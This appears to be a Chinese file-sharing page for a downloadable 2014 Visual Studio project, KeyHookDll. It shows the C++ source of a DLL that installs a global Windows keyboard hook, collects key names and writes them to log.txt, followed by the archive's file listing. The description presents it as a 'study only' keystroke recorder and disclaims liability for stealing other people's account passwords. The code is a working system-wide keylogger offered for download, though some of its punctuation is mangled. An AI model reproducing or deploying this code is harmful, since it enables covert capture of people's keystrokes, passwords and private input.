• 大小: 231KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-05-10
  • 语言: 其他
  • 标签: 键盘输入  记录  

资源简介

一个键盘输入的获取程序,仅供学习交流和参考,若用于不正当的行为,如获取他人的账号密码等,引起的相关责任与本人无关。

资源截图

代码片段和文件信息

#include “KeyHook.h“
#include 

char szTmp[65536]  = {0};

BOOL APIENTRY DllMain(HANDLE hModule DWORD ul_reaon_for_call LPVOID lpReserved)
{
g_Inst = (HINSTANCE)hModule;

char path[MAXBYTE] = {0}savePath[MAXBYTE] = {0};
GetCurrentDirectoryA(MAXBYTEpath);
sprintf(savePath“%s\\log.txt“path);

hFile = CreateFile(savePath GENERIC_ALL FILE_SHARE_WRITE NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL NULL);

return TRUE;
}

//钩子函数

LRESULT CALLBACK keyBoardProc(int code WPARAM wParam LPARAM lParam)
{
if (code < 0 )
{
return CallNextHookEx(g_Hook code wParam lParam);
}

if (code == HC_ACTION && lParam > 0)
{
char szBuf[MAXBYTE] = {0};

if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(NULL“Create Error““Error“MB_OK);
return 0;
}

GetKeyNameText(lParam szBuf MAXBYTE);

strcat(szTmp szBuf);
}

return CallNextHookEx(g_Hook code wParam lParam);

}

//安装钩子

VOID setHookOn()
{
g_Hook = SetWindowsHookEx(WH_KEYBOARD keyBoardProc g_Inst 0);
}

//卸载钩子

VOID setHookOff()
{

DWORD dwNum = 0;
for ( int i = 0; i < strlen(szTmp); ++ i)
{
WriteFile(hFile &szTmp[i] 1  &dwNum NULL);
}

CloseHandle(hFile);
UnhookWindowsHookEx(g_Hook);
}


 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2014-11-16 22:02  KeyHookDll\
     目录           0  2014-11-16 22:02  KeyHookDll\Debug\
     文件       28672  2014-11-16 21:30  KeyHookDll\Debug\KeyHookDll.dll
     文件        1924  2014-11-16 21:12  KeyHookDll\Debug\KeyHookDll.lib
     文件      155136  2014-11-16 21:48  KeyHookDll\Debug\KeyHookTest.exe
     目录           0  2014-11-16 22:02  KeyHookDll\KeyHookDll\
     文件        1369  2014-11-16 20:25  KeyHookDll\KeyHookDll.sln
     文件       16384  2014-11-16 22:01  KeyHookDll\KeyHookDll.suo
     文件        1288  2014-11-16 22:01  KeyHookDll\KeyHookDll\KeyHook.cpp
     文件         290  2014-11-16 21:05  KeyHookDll\KeyHookDll\KeyHook.h
     文件        4051  2014-11-16 21:54  KeyHookDll\KeyHookDll\KeyHookDll.vcxproj
     文件        1065  2014-11-16 20:06  KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.filters
     文件         143  2014-11-16 19:52  KeyHookDll\KeyHookDll\KeyHookDll.vcxproj.user
     目录           0  2014-11-16 22:02  KeyHookDll\KeyHookTest\
     文件       28672  2014-11-16 21:30  KeyHookDll\KeyHookTest\KeyHookDll.dll
     文件        1924  2014-11-16 21:12  KeyHookDll\KeyHookTest\KeyHookDll.lib
     文件      105784  2014-11-16 21:48  KeyHookDll\KeyHookTest\KeyHookTest.aps
     文件        2058  2014-11-16 20:20  KeyHookDll\KeyHookTest\KeyHookTest.cpp
     文件         472  2014-11-16 20:20  KeyHookDll\KeyHookTest\KeyHookTest.h
     文件       10276  2014-11-16 21:48  KeyHookDll\KeyHookTest\KeyHookTest.rc
     文件        5959  2014-11-16 20:32  KeyHookDll\KeyHookTest\KeyHookTest.vcxproj
     文件        2016  2014-11-16 20:32  KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.filters
     文件         143  2014-11-16 20:20  KeyHookDll\KeyHookTest\KeyHookTest.vcxproj.user
     文件        4432  2014-11-16 21:47  KeyHookDll\KeyHookTest\KeyHookTestDlg.cpp
     文件         770  2014-11-16 21:44  KeyHookDll\KeyHookTest\KeyHookTestDlg.h
     文件           0  2014-11-16 22:00  KeyHookDll\KeyHookTest\log.txt
     文件        3089  2014-11-16 20:20  KeyHookDll\KeyHookTest\ReadMe.txt
     目录           0  2014-11-16 20:20  KeyHookDll\KeyHookTest\res\
     文件        1736  2014-11-16 20:25  KeyHookDll\KeyHookTest\resource.h
     文件       67777  2009-08-31 02:31  KeyHookDll\KeyHookTest\res\KeyHookTest.ico
     文件         678  2014-11-16 20:20  KeyHookDll\KeyHookTest\res\KeyHookTest.rc2
............此处省略3个文件信息

评论

共有 条评论